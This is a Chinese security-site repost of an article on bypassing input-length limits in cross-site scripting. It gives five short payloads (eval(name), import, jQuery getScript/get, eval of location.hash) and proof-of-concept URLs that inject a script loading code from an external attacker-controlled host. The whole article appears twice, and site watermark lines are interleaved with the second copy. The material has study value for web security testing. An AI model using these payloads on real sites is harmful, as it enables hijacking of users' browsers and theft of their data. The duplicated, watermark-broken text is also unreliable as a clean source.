欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

XSS有长度限制?试试这几招

来源:未知 作者:wnhack 时间:2019-01-08 14:19 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助
某些情况下,你可以执行JavaScript代码,但是却只能使用alert,因为它对字符输入长度做了限制。我最近看了一篇hackerone的报告,情况完全相同,所以我决定写这篇文章。报告作者能够成功执行任意JavaScript脚本,不过他的payload有些复杂,而且需要用户交互,光凭这一点,就极大的降低了漏洞的严重性,而且毫无疑问,漏洞成效也会大打折扣。
我个人认为,更好的POC是从攻击者控制的域中加载外部JavaScript脚本。本文列出了几种调用外部JavaScript脚本的方法,并且使用尽可能少的字符。
假如我们的payload输出在href属性内,并且限制输入32个字符。
">Click
方法一
eval(name)
这可能是我们可以执行任意JavaScript脚本的最短payload。name属性可以传递任何内容,而且可以跨域。这样一来我们就可以利用了,我们现在就可以没有任何限制的执行我们的payload了,除非网页重写了name属性。
POC如下:
· https://attacker.cm2.pw/?xss=name="d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)";open('//victim.cm2.pw/?xss=Click','_self')
payload长度:
'javascript:eval(name)'.length==21
方法二
import
这是另外一种用来加载外部JavaScript脚本的最短的payload,不过仅仅适用于基于chromium内核的浏览器。
POC如下:
· https://victim.cm2.pw/?xss=Click
payload长度:
'javascript:import(/\㎠.㎺/)'.length==24
方法三
$.getScript
这是一个典型的jQuery函数,用来加载外部JavaScript脚本,该脚本在全局环境下获取和执行,跟在script标签里加载一样。不过,这个方法要求漏洞页面加载了jQuery。
POC如下:
· https://victim.cm2.pw/?xss=Click
payload长度:
'javascript:$.getScript(/\㎠.㎺/)'.length==29
方法四
$.get
这是另外一个jQuery函数,它也是可以加载和执行外部JavaScript脚本的,不过,它需要返回的content-type类型设置为text/javascript。其实,这是jQuery3.0.0版本之前的一个漏洞。
POC如下:
· https://victim.cm2.pw/?xss=Click
payload长度:
'javascript:$.get(/\㎠.㎺/)'.length==23
方法五
使用现有元素或属性
查找用户部分可控或者完全可控的HTML元素和JavaScript属性是很常见的情况。不过这需要慢慢去找,但在利用长度受限的XSS时也是大有帮助的。例如,大多数采用ajax的应用为了便于导航都会存储hash标志符。但是如果不用来进行导航呢?
如果一个页面存储hash如下:
const hash = document.location.hash;
我们可以利用它来加载外部脚本,像下面这样:
eval("'"+hash)
POC如下:
· https://victim.cm2.pw/?xss=const hash=document.location.hash;Click#';d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)
payload长度:
`javascript:eval("'"+hash)`.length==25
除了上面的集中方法外,还有很多其他的方法也可以加载外部的JavaScript脚本。比如下面这几种方法,不过我这里没有例子。
· 其他库
· 使用不同的选择器
· 使用DOM属性,变形(比如image id)
在某些情况下,点击了JavaScript URI时,Firefox会进行导航。为了防止导航,我们需要引入一个错误。因此,有一个方法就是可以在每个payload结尾添加 ;q 这个东西。添加后,payload就像下面这样:
javascript:eval(name);q
//这样做就可以防止导航,因为q未定义
最后,值得注意的是也可以在JavaScript URL上下文环境中使用URL编码,如下:
Click
POC如下:
· https://cm2.pw/?xss = 点击
  某些情况下,你可以执行JavaScript代码,但是却只能使用alert,因为它对字符输入长度做了限制。我最近看了一篇hackerone的报告,情况完全相同,所以我决定写这篇文章。报告作者能够成功执行任意JavaScript脚本,不过他的payload有些复杂,而且需要用户交互,光凭这一点,就极大的降低了漏洞的严重性,而且毫无疑问,漏洞成效也会大打折扣。
我个人认为,更好的POC是从攻击者控制的域中加载外部JavaScript脚本。本文列出了几种调用外部JavaScript脚本的方法,并且使用尽可能少的字符。
假如我们的payload输出在href属性内,并且限制输入32个字符。
">Click

copyright 无奈人生


方法一
eval(name)
这可能是我们可以执行任意JavaScript脚本的最短payload。name属性可以传递任何内容,而且可以跨域。这样一来我们就可以利用了,我们现在就可以没有任何限制的执行我们的payload了,除非网页重写了name属性。
POC如下:
· https://attacker.cm2.pw/?xss=name="d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)";open('//victim.cm2.pw/?xss=Click','_self')

copyright 无奈人生


payload长度:
'javascript:eval(name)'.length==21
方法二
import
这是另外一种用来加载外部JavaScript脚本的最短的payload,不过仅仅适用于基于chromium内核的浏览器。

内容来自无奈安全网


POC如下:
· https://victim.cm2.pw/?xss=Click
payload长度:
'javascript:import(/\㎠.㎺/)'.length==24 无奈人生安全网
方法三
$.getScript
这是一个典型的jQuery函数,用来加载外部JavaScript脚本,该脚本在全局环境下获取和执行,跟在script标签里加载一样。不过,这个方法要求漏洞页面加载了jQuery。
POC如下:
· https://victim.cm2.pw/?xss=Click 无奈人生安全网
payload长度:
'javascript:$.getScript(/\㎠.㎺/)'.length==29
方法四
$.get
这是另外一个jQuery函数,它也是可以加载和执行外部JavaScript脚本的,不过,它需要返回的content-type类型设置为text/javascript。其实,这是jQuery3.0.0版本之前的一个漏洞。
copyright 无奈人生

POC如下:
· https://victim.cm2.pw/?xss=Click
payload长度:
'javascript:$.get(/\㎠.㎺/)'.length==23 copyright 无奈人生
方法五
使用现有元素或属性
查找用户部分可控或者完全可控的HTML元素和JavaScript属性是很常见的情况。不过这需要慢慢去找,但在利用长度受限的XSS时也是大有帮助的。例如,大多数采用ajax的应用为了便于导航都会存储hash标志符。但是如果不用来进行导航呢?

copyright 无奈人生


如果一个页面存储hash如下:
const hash = document.location.hash;
我们可以利用它来加载外部脚本,像下面这样:
eval("'"+hash)
POC如下:

copyright 无奈人生


· https://victim.cm2.pw/?xss=const hash=document.location.hash;Click#';d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)
payload长度:
`javascript:eval("'"+hash)`.length==25 本文来自无奈人生安全网
除了上面的集中方法外,还有很多其他的方法也可以加载外部的JavaScript脚本。比如下面这几种方法,不过我这里没有例子。
· 其他库
· 使用不同的选择器
· 使用DOM属性,变形(比如image id)
在某些情况下,点击了JavaScript URI时,Firefox会进行导航。为了防止导航,我们需要引入一个错误。因此,有一个方法就是可以在每个payload结尾添加 ;q 这个东西。添加后,payload就像下面这样:

copyright 无奈人生


javascript:eval(name);q
//这样做就可以防止导航,因为q未定义
最后,值得注意的是也可以在JavaScript URL上下文环境中使用URL编码,如下:
Click
POC如下:

无奈人生安全网


· https://cm2.pw/?xss = 点击
 。 (责任编辑:wnhack)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。